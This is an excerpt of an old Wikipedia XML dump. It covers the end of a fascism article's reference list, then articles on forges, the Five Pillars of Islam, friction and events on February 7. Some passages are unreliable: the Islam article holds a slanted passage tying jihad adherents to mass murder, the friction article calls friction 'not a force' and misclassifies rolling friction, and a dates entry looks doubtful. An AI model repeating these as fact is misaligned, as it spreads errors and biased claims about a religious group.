* [[Roger Griffin|Griffin, Roger]]. 2000. &quot;Revolution from the Right: Fascism,&quot; chapter in David Parker (ed.) ''Revolutions and the Revolutionary Tradition in the West 1560-1991'', Routledge, London.
* [[Walter Laqueur|Laqueur, Walter]]. 1966. ''Fascism: Past, Present, Future,'' New York: Oxford: Oxford University Press, 1997.
* [[J. Salwyn Schapiro|Schapiro, J. Salwyn]]. 1949. ''Liberalism and The Challenge of Fascism, Social Forces in England and France (1815-1870).'' New York: McGraw-Hill.
*Laclau, Ernesto. 1977. ''Politics and Ideology in Marxist Theory: Capitalism, Fascism, Populism.'' London: NLB/Atlantic Highlands Humanities Press.
* [[Zeev Sternhell|Sternhell, Zeev]] with Mario Sznajder and Maia Asheri. [1989] 1994. ''The Birth of Fascist Ideology, From Cultural Rebellion to Political Revolution.'', Trans. David Maisei. Princeton, NJ: Princeton University Press.

===International fascism===
* [[Kevin Coogan|Coogan, Kevin]]. 1999. ''Dreamer of the Day: Francis Parker Yockey and the Postwar Fascist International''. Brooklyn, N.Y.: Autonomedia.
* Griffin, Roger. 1991. ''The Nature of Fascism''. New York: St. Martin’s Press.
* Paxton, Robert O. 2004. ''The Anatomy of Fascism''. New York: Alfred A. Knopf.
* [[Eugen Weber|Weber, Eugen]]. [1964] 1985. ''Varieties of Fascism: Doctrines of Revolution in the Twentieth Century,'' New York: Van Nostrand Reinhold Company, (Contains chapters on fascist movements in different countries.)
* Wallace, Henry. [http://newdeal.feri.org/wallace/haw23.htm &quot;The Dangers of American Fascism&quot;]. ''[[The New York Times]]'', Sunday, [[9 April]] [[1944]].

==External links==
{{wiktionary}}
{{wikiquote}}
* [http://www.mises.org/story/1957 Liberalism vs. Fascism] by Roderick T. Long
* [http://www.mises.org/upcomingstory.aspx?control=75 The Economics of Fascism], Supporters Summit 2005, [[October 7]]-8, 2005, Mises Institute, Auburn, Alabama.
* [http://www.lewrockwell.com/dilorenzo/dilorenzo85.html Economic Fascism] by Thomas DiLorenzo
* [http://www.econlib.org/library/Enc/Fascism.html Fascism] by Sheldon Richman - discusses economic fascism
* [http://www.wzo.org.il/en/resources/view.asp?id=585 Fascism and Zionism - From The Hagshama Department - World Zionist Organization]
* [http://www.rationalrevolution.net/articles/understanding_fascism.htm Fascism Part I - Understanding Fascism and Anti-Semitism]
* [http://www.radio4all.net/proginfo.php?id=15029 The Functions of Fascism] a radio lecture by [[Michael Parenti]]
*[http://www.cronologia.it/mondo23i.htm Manifest of the Scientific Racists (in Italian)]

====Anti-fascist websites====
* [http://www.searchlightmagazine.com/index.php?link=template&amp;story=152 British anti-fascist website] 
* [http://www.dkrenton.co.uk/research/polecon.htm The Political Economy of Fascism - From Dave Renton's anti-fascist website]
* [http://blava.antifa.net Antifašistická Akcia Bratislava-Antifascism Action Brataslava. Slovak anti-facism website]

====Proponents====
* [http://www.worldfuturefund.org/wffmaster/Reading/Germany/mussolini.htm The Doctrine of Fascism by Benito Mussolini (complete text)] 
* [http://www.fascismoeliberta.net/ Site of an italian fascist party] Italian and German languages

[[Category:Counter-revolutionaries]]
[[Category:Fascism]]
[[Category:Politics of Italy]]
[[Category:Political theories]]
[[Category:Society]]
[[Category:Nazi Germany]]
[[Category:Anti-Semitism]]
[[Category:Economic ideologies]]
[[Category:Syncretic political movements]]

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    <title>Forge</title>
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      <text xml:space="preserve">[[Image:Australian blacksmith.jpg|thumb|250px|A blacksmith's forge]]
:''For other uses, see [[Forge (disambiguation)]].''
The '''forge''' or '''smithy''' is the workplace of a [[smith (metalwork)|smith]] or a [[blacksmith]]. &quot;Forging&quot; is the term for shaping metal by use of heat and hammer.

A basic smithy contains a [[forge]], sometimes called a [[hearth]] for heating the metals (commonly iron or steel) to a temperature where the metal becomes malleable (typically red hot), or to a temperature where [[work hardening]] ceases to accumulate, an [[anvil]] (to lay the metal pieces on while hammering), and a [[slack tub]] (to rapidly cool, and thus harden, forged metal pieces in).  Tools include [http://members.vol.at/schmiede/feuerzange.htm tongs] to hold the hot metal, and hammers to strike the hot metal.

Once the final shape has been forged, iron and steel in particular often get some type of [[heat treatment]].  This can result in various degrees of hardening or softening depending on the details of the treatment.

== Forging ==
Forging is the working of metal by [[plasticity|plastic deformation]].  It is distinguished from [[machining]], the shaping of metal by removing material (drilling, sawing, milling, turning, grinding, etc.), and from [[casting]], wherein metal in its molten state is poured into a mold, whose form it retains on solidifying.  The processes of raising, rolling, swaging, and drawing are essentially forging operations although they are not commonly so called because of the special techniques and tooling they require. Some of these techniques are shown in this [http://members.vol.at/schmiede/feuerzange.htm animation] of the forging of simple flat firetongs.

Forging results in metal that is stronger than [[casting|cast]] or [[machining|machined]] metal parts. This is because  during forging the metal's grain flow changes, making it stronger and more [[ductile]].
[[Image:ForgedConrodShowingEtchedSection-s.jpg|thumb|Scan of sectioned, forged conrod that has been etched to show grain flow]]

Many metals are typically forged cold but iron and its alloys are almost always forged hot. This is for two reasons: firstly, if work hardening were allowed to progress, hard materials such as iron and steel would become extremely difficult to work with; secondly, most steel alloys can be hardened by heat treatments (i.e. by the formation of [[Martensite]]) rather than cold forging.  Alloys that are amenable to [[precipitation hardening]] (such as most structural alloys of [[aluminium]] and [[titanium]]) can also be forged hot, then made strong once they achieve their final shape.  Other materials must be strengthened by the forging process itself.

Forging was done historically by a smith using hammer and anvil, and though the use of water power in the production and working of iron dates to the twelfth century CE the hammer and anvil are by no means obsolete.

In modern times, industrial forging is commonly done either with [[machine press]]es or with hammers powered by steam or compressed air.  These hammers are very large, having reciprocating weights in the thousands of pounds.  Smaller power hammers (500 pounds or less reciprocating weight) and hydraulic presses are common in art smithies as well.

In industry a distinction is made between open- and closed-die forging.  In open-die work the metal is free to move except where contacted by the hammer, anvil, or other (often hand-held) tooling.  In closed-die work the material is placed in a die resembling a mold, which it is forced to fill by the application of pressure.  A great many common objects (wrenches, crankshafts...) are produced by closed-die forging, which is well suited to mass production.  Open-die forging lends itself to very short runs and is appropriate for art smithing and custom work.

Closed-die forging is more expensive for mass production than is [[casting]], but produces a much stronger part, and is therefore used for tools, high-strength machine parts and the like.  One particular variant, [[Forge#Drop Forge|drop forging]], is often used to mass produce flat wrenches and other household tools.

== Types of forges ==
=== Coal/coke/charcoal forge ===
A forge which typically uses bituminous coal, industrial coke or charcoal as the fuel to heat metal.

The designs of these forges have varied over time and circumstances for thousands of years but whether the fuel is coal, coke or charcoal the basic design has remained the same. The illustration at the beginning of this article shows a coal forge in operation.

A forge of this type is essentially a hearth or fireplace designed to allow a fire to be controlled such that metal introduced to the fire may be brought to a malleable state or to bring about other metallurgical effects (hardening, annealling, and drawing temper as examples).

The forge fire in this type of forge is controlled in three primary ways: 1) the amount of air, 2) the volume of fuel, and 3) the shape of the fuel/fire.

These factors have determined over time the essential features of this type of forge:

: 'tuyere' -- a pipe through which air can be forced into the fire

: 'bellows' or 'blower' a means for air to be forced into the tuyere

: 'fire pot' or 'hearth' a place where the burning fuel can be contained over or against the tuyere opening.

In practice fuel is placed in or on the 'hearth' and lit. The 'bellows' are worked to introduce additional air (oxygen) into the fire through the 'tuyere'. With the additional oxygen the fire can consume more fuel and burn hotter.

In practice a blacksmith will balance the fuel and oxygen in the fire to suit particular kinds of work and often this involves adjusting and maintaining the shape of the fire.

In a typical, but by no means universal, coal forge a firepot will be centered in a flat hearth. The tuyere will enter the firepot at the bottom. When in operation the hot core of the fire will be a ball of burning coke in and above the firepot. The heart of the fire will be surrounded by a layer of hot but not burning coke. Around the unburnt coke will be a transitional layer of coal being transformed into coke by the heat of the fire, and surrounding all will be a ring or horseshoe shaped layer of raw coal usually kept damp and tightly packed to both maintain the shape of the fire's heart and to keep the coal from burning directly so that it &quot;cooks&quot; into coke first.

If a larger fire is necessary the smith will increase the air into the fire and feed and deepen the coke heart. The smith can also adjust the length and width of the fire in such a forge to accommodate different shapes of work.

The major variation from the forge and fire just described is a 'back draft' where there is no fire pot, and the tuyere enters the hearth horizontally from the back wall. 

Coke and charcoal may be burned in the same forges that coal is used in although since there is no need to convert the raw fuel into something more refined at the heart of the fire as with coal, the fire is handled differently.

Individual smiths and specialized applications and needs have led to the development of a variety of forges of this type, from the commercially available coal forge described above to simpler constructions amounting to little more than a hole in the ground with a pipe leading into it.

=== Gas forge ===
A forge which typically uses propane or natural gas as the fuel to heat metal. One common, efficient design uses a cylindrical forge chamber and a burner tube mounted at a right angle to the body. The chamber is typically lined with [[refractory]] materials, preferably a hard castable refractory ceramic. The burner mixes fuel and air which are ignited at the tip, which protrudes a short way into the chamber lining. The air pressure (and therefore heat) can be increased through use of a mechanical blower or by taking advantage the [[Venturi effect]].

Gas forges vary widely in size and construction, from very large forges using a big burner with a blower or several atmospheric burners to forges built out of a coffee can utilizing a cheap, simple propane torch. A small forge can even be carved out of a single soft [[firebrick]].

The primary advantage of a gas-powered forge lies in its ease of use, particularly for a novice smith. A gas forge is very simple to operate compared to coal forges, and the fire produced will be clean and consistent. They are however less versatile as the fire cannot be reshaped to accommodate large or unnusually sized pieces; it is also difficult to heat a small section of a piece. A common misconception is that gas forges cannot produce enough heat to ennable forge-[[welding]], but a well designed forge will easily run hot enough for any task.

=== Drop forge ===
[[Image:Forging shop-Gesenkschmiede 1.JPG|thumb|250px|hydraulic forging hammer]]
The workpiece, say a [[spanner]], is created by hammering a piece of hot metal into an appropriately shaped die. The metal (in some default, easily produced shape like a rod or brick) is heated and placed on the bottom part of a [[Die (manufacturing)|die]]. The top part of the die then '''drops''' onto the piece. The die may drop under gravity or be powered, but in all cases drop forging involves [[impact]]. The force of the impact causes the heated metal to flow into the shape of the die, with some metal squirting out of the thin seams between the die covers. This thin metal is called '''flash''' and has to be cut away in the next stage of processing. The drop-forged pieces usually also need further processing (like machining and polishing of working surfaces) in order to comply with stricter tolerances than forging alone can provide, and to present a good finish.

[http://class.et.byu.edu/mfg130/processes/descriptions/deformation/dropforging.htm Drop forging]: From BYU, with a nice crosssectional diagram.

=== Hydraulic Press Forge ===
In hydraulic press forging the work piece is pressed against the two die halves with a gradually increasing force, over a period of a few seconds.  The quality of the pieces is better than drop forging as there is more control over metal flow, but the process takes longer and requires more energy.

== See also ==
* [[solar forge]]
* [http://www.ee.washington.edu/conselec/CE/kuhn/manufact/95x2.htm Manufacturing techniques]: Washington university site.

{{Metalworking - Metalworking Smiths}}

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      <comment>/* The Five Pillars of Islam */</comment>
      <text xml:space="preserve">{{Islam}}
The '''Five Pillars of [[Islam]]''' is the term given to the five most fundamental aspects of [[Sunni Islam]]. The term is not used in [[Shi'a Islam]].

For the [[Sunni]] sect, the Five Pillars of Islam (''Arkan-al-Islam'') are the five most important acts of a [[Muslim]], and which devout Muslims will perform faithfully considering them essential to please [[Allah]].

For the [[Shi'a]] sect, there are five beliefs, which are referred to as the '''''Usūl al-Dīn''''', the [[Roots of Religion]]. In addition, there are ten practices, known as the ''Furū al-Dīn'' or [[Branches of Religion]] . The ten Branches of Religion correlate more closely to the Sunni concept of the &quot;Pillars of Islam&quot;.

== The Five Pillars of Islam == 

 In summary, the practices are (In order of priority):

* '''The profession of faith in Allah''' ([[Shahadah]]) - the declaration that there is none worthy of worship except Allah and that [[Muhammad]] is his messenger.
* '''Prayer''' ([[Salat]]) - establishing of the five daily Prayers.
* '''The paying of alms''' ([[Zakat]]) - which is generally 2.5% of the total savings for a rich man working in trade or industry, and 10% or 20% of the annual produce for agriculturists. This money or produce is distributed among the poor. Also, one may give 25% of found treasure such as money won in a non-gambling lottery. You must give to the needy.
* '''Fasting''' ([[Sawm]]) - refraining from eating, drinking or satisfying sexual needs from dawn to dusk in the month of Ramadan, the ninth month in the Islamic lunar calendar.
* '''The Pilgrimage  to [[Mecca]]''' ([[Hajj]]) - this is done during the month of Zul Hijjah, and is compulsory once in a lifetime for one who has the ability to do it. If the Muslim is in ill health or in debt, he or she is not required to perform Hajj.

Note that the Shi'a [[Branches of Religion|branch]] ''Amr Bil Maruf and Nahi Anil Munkar'' (Enjoining the Good and Forbiding the Evil) is also commanded in Sunni Islam but not at the level of The Five Pillars of Islam.  

A few Muslims, mainly belonging to the sect of the [[Khawarij]], hold that there is a [[sixth pillar of Islam]], ''[[jihad|jihad]]'' literally meaning &quot;struggle&quot; or &quot;combat.&quot; Often understood to refer to holy war, this is viewed by many as a misinterpretation, especially in the sense of [[conversion by sword]]; however, if the English use of &quot;war&quot; is meant spiritually/metaphysically (such as being &quot;at war&quot; with one's conscience), as opposed to literal armed conflict, it is considered to be the most precise and accurate translation. While jih&amp;#257;d is widely considered a duty of Muslims, the view that it is one of the pillars is not shared by most theologians. Modern interpretations of Jihad have contributed to the phenomenon of Islamic terrorism and particularly suicide bombers. Adherents are known as Jihadists or Jihadiis and have been involved in a number of spectacular mass murder events, including the notorious 9/11 massacres in the USA, the Beslan school murders in Southern Russia and the train bombings in Madrid and London. Within Islamic states there are frequent attacks aimed at followers of non-orthodox or rival sects or secularised muslims. 

=== Shahadah, the profession of faith in Allah ===
{{main|Shahadah}}
According to the [[Qur'an]], &quot;There is no God but Allah, and Muhammad is his Prophet&quot;. This declaration of faith is called the ''shahadah'', a simple formula which all of the faithful Muslims pronounce daily. Intrinsic in this action is the acknowledgment of Muhammad, as ''&quot;Muhammad is not the father of any of your men, but he is the Messenger of Allah and the Seal of the Prophets. And Allah has full knowledge of all things.&quot;'' [Qur'an: 33:40]

=== Salāt, prayer ===
{{main|Salat}}
Muslims are obliged to perform ritual prayers, or salāt, five times a day:

*Between dawn and sunrise ([[Fajr]])
*After midday ([[Dhuhr]])
*Midway between midday and sunset ([[Asr]])
*Right after sunset ([[Maghrib]])
*Approximately one hour after sunset ([[Isha'a]])

A Muslim may offer extra optional prayer(s) at any other time.

Although it is preferable for men to pray together in a [[mosque]], there is no strict requirement to do so. On Fridays, congregational prayer (jumu'ah) is held at midday, deemed obligatory for men but optional for women. A Muslim may pray almost anywhere, such as in a place of work or a school. It is also a requirement for a Muslim to [[Qibla|face Mecca]] during prayer.

Before prayer is the ritual of [[ablution]], a ceremonial cleansing  with [[water]] (or alternatively, with sand) which is usually performed. The parts cleansed include arms, head, and the feet up to the ankles. If the cleansing was done using water, the Muslim is considered to have ''wudhu'', which means that he or she has cleansed him or herself from the physical manifestations of sin in a lasting fashion that extends between prayers.  In other words, unless the Muslim does something to remove this cleanliness, the cleansing would not need to be repeated before the next prayer.  When sand is used, the cleansing is only temporary and regardless of whether the Muslim commits any physical acts of uncleanliness he or she will need to undergo the ceremonial cleansing immediately before the next prayer. 

The salat must be performed in the [[Arabic language]] (even if the person neither speaks nor understands Arabic; the prayers are to be recited by heart), and include praises to [[Allah]], the ''shahada'', a plea for forgiveness and various blessings,  Chapter one (''[[al Fatihah]]'') and one or more other parts of the [[Qur'an]] (by heart) and an optional prayer of one's own. The entire session includes standing upright, bowing down, kneeling  and prostrating oneself. The session ends with looking right and left to say &quot;Peace be unto you, and on you be peace&quot; in Arabic to the believers sitting with you. Muslims believe that there are angels sitting on both their shoulders (the angel on the right is said to record the person's good deeds and the one on the left is said to record the person's bad deeds).

=== Sawm, fasting ===
{{main|Sawm}}
Observance of the ''sawm'' (fasting), or ''siyam'', involves abstinence from eating, drinking, [[tobacco smoking|smoking]], [[sexual intercourse]], unruly thoughts, and other forms of worldly pleasure. This fasting is ordained in the [[Qur'an]], and is observed by devout Muslims throughout the daylight hours of the 29 or 30 days of the lunar month of [[Ramadan]]. There are some exceptions, for example for children, pregnant women, sick Muslims, laborers, and travelers. The children do not have to fast until puberty, but most start fasting earlier. 

As well as fasting, Muslims spend more time praying during this period. ''sawm'' is intended to teach patience and self-control, and is seen as a debt owed by the believer to Allah.

=== Zak&amp;#257;h, the paying of alms ===
{{main|Zakat}}
A major principle of Islam is the belief that all things belong to God and that wealth is only held by human beings in trust. The word zakah means both purification and growth. Each Muslim calculates his or her own zakah individually, and for most purposes this involves the payment each year of two and a half percent of one's capital in excess of one's basic needs. A Muslim may also donate an additional amount as an act of voluntary [[charity]] (''[[sadaqah]]''), in order to achieve additional divine reward.

Zakat is calculated on the basis of an amount in excess of what remains, ''after'' the needs of the family have been met.

=== Hajj, the pilgrimage to Mecca ===
{{main|Hajj}}
All Muslims that have the financial and physical means to perform hajj are required to do so at least once in their lifetimes. The pilgrimage to [[Mecca]] can only be performed during the [[Islamic calendar|Islamic month]] of [[Dhul Hijja]]. Given only about two million people are allowed by [[Saudi Arabia]] to perform hajj each year and that there are currently over a billion Muslims, it is impossible for every Muslim to complete the hajj even if every Muslim performed it only once in his or her lifetime.

==See also==
*[[Hadith]]

==External links==
*[http://www.faizani.com/articles/soul.html Islam Way Online - Your Religion and Spirituality Portal] The Five Pillars in the context of Conditional Worship versus Unconditional Worship in Islam
*[http://www.toursaudiarabia.com/islam.html Five Pillars of Islam]

[[Category:Five Pillars of Islam|*]]

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    <title>Friction</title>
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      <comment>/* Coefficient of Friction */</comment>
      <text xml:space="preserve">'''Friction''' is the force that opposes the relative motion or tendency of such motion of two surfaces in contact.

It should be understood clearly that friction by itself is not a force. It is a term used to describe the interaction of matter due primarily to Newton's Third Law of Motion. There are only 4 known forces: Strong, Weak, Electro-magnetic and Gravity.

==Equations==
The classical approximation of the force of friction known as '''Coulomb friction''' (named after [[Charles-Augustin de Coulomb]]) is expressed as &lt;math&gt;F_f = \mu N&lt;/math&gt;, where &lt;math&gt;\mu&lt;/math&gt; is the [[coefficient of friction]], &lt;math&gt;N&lt;/math&gt; is the force [[Normal force|normal]] to the contact surface, and &lt;math&gt;F_f&lt;/math&gt; is the force exerted by friction. This force is exerted in the direction opposite the object's motion.

This simple (although incomplete) representation of friction is adequate for the analysis of many physical systems.

==Coefficient of Friction==
The '''coefficient of friction''' (also known as the '''frictional coefficient''') is a dimensionless [[scalar]] value which describes the ratio of the [[force]] of friction between two bodies and the force pressing them together.  The coefficient of friction depends on the materials used -- for example, ice on metal has a low coefficient of friction (they slide past each other easily), while rubber on pavement has a high coefficient of friction (they do not slide past each other easily). Coefficients of friction need not be less than 1 - under good conditions, a tire on concrete may have a coefficient of friction of 1.7.    

It is also important to discriminate between sliding (dynamic) friction and static friction. For sliding friction, the force of friction does not vary with the area of contact between the two objects.  This means that sliding friction does not depend on the '''size''' of the contact area.  

When the surfaces are [[adhesive]], Coulomb friction becomes a very poor approximation (for example, [[scotch tape]] resists sliding even when there is no normal force, or a negative normal force).  In this case, the frictional force may depend on the area of contact. Some [[drag racing]] tires are adhesive in this way (see, for example, [http://www.newton.dep.anl.gov/newton/askasci/1993/physics/PHY2.HTM]).

The force of friction is always exerted in a direction that opposes movement (for kinetic friction) or potential movement (for static friction) between the two surfaces. For example, a [[curling]] stone sliding along the ice experiences a static force slowing it down. For an example of potential movement, the drive wheels of an accelerating car experience a frictional force pointing forward; if they did not, the wheels would spin, and the rubber would slide backwards along the pavement. Note that it is not the direction of movement of the vehicle they oppose, it is the direction of (potential) sliding between tire and road. 

The coefficient of friction is an [[empirical]] [[measurement]] -- it has to be measured [[experiment]]ally, and cannot be found through calculations.  Rougher surfaces tend to have higher values.  Most dry materials in combination give friction coefficient values from 0.3 to 0.6.  It is difficult to maintain values outside this range.  A value of 0.0 would mean there is no friction at all.  Rubber in contact with other surfaces can  yield friction coefficients from 1.0 to 2.0.  A system with &quot;interlocking teeth&quot; between surfaces may be indistinguishable from friction, if the &quot;teeth&quot; are small, such as the grains on two sheets of sandpaper or even molecular sized &quot;teeth&quot;.

==Types of Friction==
===Static Friction===
Static friction (informally known as [[stiction]]) occurs when the two objects are not moving relative to each other (like a desk on the ground). The ''coefficient of static friction'' is typically denoted as ''&amp;mu;&lt;sub&gt;s&lt;/sub&gt;''. The [[initial force]] to get an object moving is often dominated by static friction.

* [[Rolling friction]] occurs moving relative to each other and one &quot;rolls&quot; on the other (like a car's wheels on the ground).  This is classified under static friction because the patch of the tire in contact with the ground, at any point while the tire spins, is ''stationary'' relative to the ground.  The ''coefficient of rolling friction'' is typically denoted as ''&amp;mu;&lt;sub&gt;r&lt;/sub&gt;''.

===Kinetic Friction===	

'''Kinetic (or dynamic) friction''' occurs when two objects are moving relative to each other and rub together (like a sled on the ground). The ''coefficient of kinetic friction'' is typically denoted as ''&amp;mu;&lt;sub&gt;k&lt;/sub&gt;'', and is usually less than the coefficient of static friction. From the mathematical point of view, however, the difference between static and kinematic friction is of minor importance: Let us have a coefficient of friction which depends on the displacement velocity and is such that its value at 0 (the static friction ''&amp;mu;&lt;sub&gt;s&lt;/sub&gt;'' ) is the limit of the kinetic friction ''&amp;mu;&lt;sub&gt;k&lt;/sub&gt;'' for the velocity tending to zero. Then a solution of the contact problem with such Coulomb friction solves also the problem with the original ''&amp;mu;&lt;sub&gt;k&lt;/sub&gt;'' and any static friction greater than that limit. 	 

Examples of kinetic friction: 	 

* [[Sliding friction]] is when two objects are rubbing against each other. Putting a book flat on a desk and moving it around is an example of sliding friction 

* [[Fluid friction]] is the friction between a solid object as it moves through a liquid or a gas. The drag of air on an airplane or of water on a swimmer are two examples of fluid friction.	

			
When an object is pushed along a surface with coefficient of friction &amp;mu;&lt;sub&gt;k&lt;/sub&gt; and a perpendicular (normal) force acting on that object directed towards the surface of magnitude N, then the energy loss of the object is given by:	 
		 
:&lt;math&gt;U = N \mu_k d \,&lt;/math&gt;
		 
Where d is the distance travelled by the object whilst in contact with the surface. This equation is identical to [[Energy]] Loss = Force x Distance as the frictional force is a non-conservative force. Note, this equation only applies to kinetic friction, not [[rolling friction]].	 
		 
Physical deformation is associated with friction. While this can be beneficial, as in [[polishing]], it is often a problem, as the materials are worn away, and may no longer hold the specified [[tolerance (engineering)|tolerances]].	 
		 
The work done by friction can translate into deformation and heat that in the long run may affect the surface's specification and the coefficient of friction itself. Friction can in some cases cause solid materials to [[melt]].	 

Friction may occur between [[solids]], [[gases]] and [[fluids]] or any combination thereof. See [[aerodynamics]] and [[hydrodynamics]].

==Reducing Friction==
===Devices===
Devices, such as [[ball bearing]]s can change sliding friction into the less significant rolling friction.

===Techniques===
One technique used by railroad engineers is to back up the train to create slack in the linkages between cars.  This allows the train to pull forward and only take on the [[static friction]] of one car at a time, instead of all cars at once, thus spreading the static frictional force out over time.

Generally, when moving an object over a distance:  To minimize work against static friction, the movement is performed in a single interval, if possible.  To minimize work against kinetic friction, the movement is performed at the lowest velocity that's practical.  This also minimizes frictional stress.

===Lubricants===	 
			
A common way to reduce friction is by using a [[lubricant]], such as oil, that is placed between the two surfaces, often dramatically lessening the coefficient of friction. The science of friction and lubrication is called ''[[tribology]]''. Lubricant technology is when lubricants are mixed with the application of science, especially to industrial or commercial objectives.

[[Superlubricity]], a recently-discovered effect, has been observed in [[graphite]]: it is the substantial decrease of friction between two sliding objects, approaching zero levels - a very small amount of frictional energy would be dissipated due to electronic and/or [[Atom vibrations|atomic vibrations]].	 
		 
Lubricants to overcome friction need not always be thin, turbulent fluids or powdery solids such as graphite and [[talc]]; [[acoustic lubrication]] actually uses sound as a lubricant.

==Energy of friction==
According to the law of [[conservation of energy]], no energy should be lost due to friction.  The kinetic energy lost is transformed primarily into heat and/or motion of other objects and fluids.  An airplane will heat and accelerate the air as it passes.  A submarine will do the same to the water.  In some cases, the &quot;other object&quot; to be accelerated may be the Earth.  A sliding hockey puck will come to rest due to friction both by changing its energy into heat and accelerating the Earth in its direction of travel (by an immeasurable amount).  Since heat and fluid motion quickly dissipate and the change in velocity of the Earth can't be seen, many early philosophers such as [[Aristotle]], wrongly concluded that moving objects lose energy without a driving force.

==See also==
* [[Tribology]]
* [[Traction]]
* [[Tire]]

==References==
* {{cite book
 | last = Tipler | first = Paul
 | title = Physics for Scientists and Engineers: Vol. 1
 | edition = 4th ed.
 | publisher = W. H. Freeman
 | year = 1998
 | id = ISBN 1572594926
 }}

[[Category:Force]]
[[Category:Introductory_physics]]

{{Link FA|nl}}

[[bg:Триене]]
[[cs:Tření]]
[[da:Friktion]]
[[de:Reibung]]
[[es:Fricción]]
[[fi:Kitka]]
[[fr:Frottement]]
[[he:חיכוך]]
[[id:Gesek]]
[[it:Attrito]]
[[ja:摩擦]]
[[ko:마찰력]]
[[nl:Wrijving]]
[[pl:Tarcie (pojęcie fizyczne)]]
[[pt:Atrito]]
[[ru:Трение]]
[[sl:Trenje]]
[[sv:Friktion]]
[[vi:Ma sát]]
[[zh:摩擦力]]</text>
    </revision>
  </page>
  <page>
    <title>February 7</title>
    <id>11063</id>
    <revision>
      <id>42105945</id>
      <timestamp>2006-03-03T21:39:12Z</timestamp>
      <contributor>
        <ip>70.28.178.124</ip>
      </contributor>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=7}}
|}
'''February 7''' is the 38th day of the year in the [[Gregorian Calendar]]. There are 327 days remaining (328 in [[leap year]]s).
==Events==
*[[457]] - [[Leo I of the Byzantine Empire|Leo I]] becomes emperor of the [[Byzantine Empire]].
*[[1301]] - Edward of [[Caernarvon]] (later King [[Edward II of England]]) becomes the first [[England|English]] [[Prince of Wales]].
*[[1550]] - [[Pope Julius III|Julius III]] becomes [[Pope]].
*[[1613]] - [[Mikhail I of Russia|Mikhail Romanov]] becomes [[Tsar]] of [[Russia]].
*[[1795]] - The [[Eleventh Amendment to the United States Constitution|11th Amendment]] to the [[United States Constitution]] is passed.
*[[1807]] - [[Napoleon I of France|Napoléon]]'s [[First French Empire|French Empire]] begin fighting against [[Russia]]n and [[Prussia]]n forces of the [[Fourth Coalition]] at the [[Battle of Eylau]] in Eylau, [[Poland]].
*[[1812]] - The strongest in a series of [[earthquake]]s strikes [[New Madrid, Missouri]].
* [[1842]] - [[Battle of Debre Tabor]]: Ras [[Ali II of Yejju|Ali Alula]], Regent of the [[Emperor of Ethiopia]] defeats warlord [[Wube Haile Maryam]] of [[Semien]].
*[[1856]] - The [[colony|colonial]] [[Tasmania|Tasmanian]] [[Parliament]] passes the first piece of [[legislation]] (the Electoral Act 1856) anywhere in the world providing for [[election|elections]] by way of a [[secret ballot]]. &lt;ref&gt; Terry Newman, 'Tasmania and the Secret Ballot' (2003), 49(1) Aust J Pol &amp; Hist 93 [http://www.enrollingthepeople.com/tasmania/newman_tasmania_and_secret_ballot.pdf], accessed [[February 27]], [[2006]]&lt;/ref&gt;
*[[1863]] - [[HMS Orpheus (1861)|''HMS Orpheus'']] sinks off the coast of [[Auckland]], [[New Zealand]], killing 189.
*[[1882]] - The last heavyweight [[boxing]] championship [[bare-knuckle]] fight takes place in [[Mississippi City]], [[Mississippi]].
*[[1898]] - [[Emile Zola]] is brought to trial for [[libel]] for publishing ''[[J'Accuse]]''.
*[[1899]] - Chinese Communist Party member [[Huang Paikai]] is born.
*[[1900]] - The [[United Kingdom|British]] [[Labour Party (UK)|Labour Party]] is formed.
*[[1904]] - A fire in [[Baltimore, Maryland]] destroys over 1,500 buildings in 30 hours.
*[[1914]] - [[Charlie Chaplin]] first appears as &quot;[[The Tramp]]&quot;, as his first film ''Kid Auto Races at Venice'' is released at [[Keystone Studios]]. 
*[[1940]] - [[Walt Disney]]'s ''[[Pinocchio (1940 movie)|Pinocchio]]'', an [[animation|animated feature]] based on the [[Carlo Collodi]]'s story ''[[Pinocchio]]'' was first released.
*[[1942]] - In [[Drakulici]], [[Banja Luka]], that night, [[Croatian]] [[nazi]]s killed 2,300 [[Serbian]] civilians, among them 551 children.
*[[1944]] - [[World War II]]: In [[Anzio]], [[Italy]] [[Nazi]] forces launch a counteroffensive.
*[[1948]] - Gen. [[Dwight D. Eisenhower]] resigned as Army chief of staff and was succeeded by Gen. [[Omar Bradley]].
*[[1962]] - The [[United States]] [[Government]] bans all [[Cuba]]n imports and exports. 
*[[1964]] - [[The Beatles]] arrive on their first visit to the [[United States]].
*[[1966]] - [[Paul Williams (Crawdaddy! creator)|Paul Williams]] creates the rock music magazine ''[[Crawdaddy!]]''.
*[[1967]]  - A fire at a restaurant in [[Montgomery, Alabama|Montgomery]], [[Alabama]] kills 25 people.
*[[1971]] - Women gain the right to vote in [[Switzerland]].
*[[1974]] - [[Grenada]] becomes independent from the [[United Kingdom]]. 
*[[1976]] - Future [[Hockey Hall of Fame|Hall of Famer]] [[Darryl Sittler]] of the [[Toronto Maple Leafs]] scores six goals and records four assists in an 11-4 victory over the [[Boston Bruins]], setting a [[National Hockey League|NHL]] record with 10 points in one game.  This record still stands. 
*[[1977]] - The [[Soviet Union]] launches [[Soyuz 24]]. 
*[[1979]] - [[Pluto]] moves inside [[Neptune]]'s orbit for the first time since either planet was known to science.
*[[1984]] - [[Astronaut]]s [[Bruce McCandless II]] and [[Robert L. Stewart]] make the first untethered [[space walk]].
*[[1985]] - ''&quot;[[New York, New York (song)|New York, New York]]&quot;'' becomes the official city anthem of [[New York City]]. 
*[[1986]] - Twenty-eight years of one-family rule end in [[Haiti]], when [[President]] [[Jean-Claude Duvalier]] flees the [[Caribbean]] nation. 
*[[1990]] - [[Collapse of the Soviet Union]]: The [[Central Committee]] of the [[Soviet Communist Party]] agrees to give up its monopoly of power.
*[[1991]] - [[Haiti]]'s first democratically-elected president, [[Jean-Bertrand Aristide]], is sworn in.
*1991 - The [[Provisional Irish Republican Army|IRA]] launches a mortar attack on [[10 Downing Street]] during a cabinet meeting.
*[[1992]] - The [[European Union]] is formed.
*[[1995]] - [[Ramzi Yousef]], the alleged mastermind of the [[1993]] [[World Trade Center]] bombing, was arrested in [[Islamabad, Pakistan]].
*[[1998]] - The [[1998 Winter Olympic Games]] open in [[Nagano, Japan]].
*[[1999]] - [[Crown Prince]] [[Abdullah II of Jordan|Abdullah]] becomes the King of [[Jordan]] on the death of his father, King [[Hussein of Jordan|Hussein]].
*[[2000]] - [[Bahria University]] is established through the [[Presidential Ordinance No. V]] of [[2000]] of [[Government]] of [[Pakistan]]. 
